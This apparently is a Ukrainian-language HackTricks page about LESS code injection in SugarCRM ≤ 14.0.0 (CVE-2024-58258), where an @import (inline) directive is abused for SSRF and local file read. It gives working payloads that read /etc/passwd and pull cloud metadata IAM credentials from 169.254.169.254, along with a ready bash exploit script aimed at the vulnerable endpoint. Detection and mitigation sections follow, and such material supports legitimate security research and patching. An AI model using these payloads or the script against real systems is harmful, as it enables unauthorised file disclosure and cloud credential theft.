LESS Code Injection leading to SSRF & Local File Read
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Огляд
LESS - це популярний CSS препроцесор, який додає змінні, міксини, функції та потужну директиву @import
. Під час компіляції движок LESS отримує ресурси, на які посилаються в директивах @import
і вбудовує ("inline") їх вміст у результуючий CSS, коли використовується опція (inline)
.
Коли додаток конкатенує вхідні дані, контрольовані користувачем, у рядок, який пізніше обробляється компілятором LESS, зловмисник може впровадити довільний код LESS. Зловживаючи @import (inline)
, зловмисник може змусити сервер отримати:
- Локальні файли через протокол
file://
(розкриття інформації / Локальне включення файлів). - Віддалені ресурси в внутрішніх мережах або службах метаданих хмари (SSRF).
Цю техніку було помічено в реальних продуктах, таких як SugarCRM ≤ 14.0.0 (/rest/v10/css/preview
endpoint).
Експлуатація
- Визначте параметр, який безпосередньо вбудований у рядок стилю, оброблений движком LESS (наприклад,
?lm=
в SugarCRM). - Закрийте поточну інструкцію та впровадьте нові директиви. Найбільш поширені примітиви:
;
– завершує попереднє оголошення.}
– закриває попередній блок (якщо потрібно).
- Використовуйте
@import (inline) '<URL>';
для читання довільних ресурсів. - За бажанням впровадьте маркер (
data:
URI) після імпорту, щоб полегшити витяг вмісту, отриманого з скомпільованого CSS.
Читання локальних файлів
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
Вміст файлу /etc/passwd
з'явиться в HTTP-відповіді безпосередньо перед маркером @@END@@
.
SSRF – Хмарні метадані
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
Автоматизований PoC (приклад SugarCRM)
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
Виявлення
- Шукайте динамічно згенеровані
.less
або.css
відповіді, що містять несанітизовані параметри запиту. - Під час перегляду коду шукайте конструкції на кшталт
"@media all { .preview { ... ${userInput} ... } }"
, передані функціям рендерингу LESS. - Спроби експлуатації часто включають
@import
,(inline)
,file://
,http://169.254.169.254
тощо.
Заходи з пом'якшення
- Не передавайте ненадійні дані компілятору LESS.
- Якщо потрібні динамічні значення, належним чином екрануйте/санітуйте їх (наприклад, обмежте числовими токенами, білого списку).
- Вимкніть, коли це можливо, можливість використовувати
(inline)
імпорти або обмежте дозволені протоколи доhttps
. - Тримайте залежності в актуальному стані – SugarCRM виправила цю проблему в версіях 13.0.4 та 14.0.1.
Реальні випадки
Продукт | Вразливий кінець | Вплив |
---|---|---|
SugarCRM ≤ 14.0.0 | /rest/v10/css/preview?lm= | Неавтентифікований SSRF та читання локальних файлів |
Посилання
- SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability
- SugarCRM Security Advisory SA-2024-059
- CVE-2024-58258
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.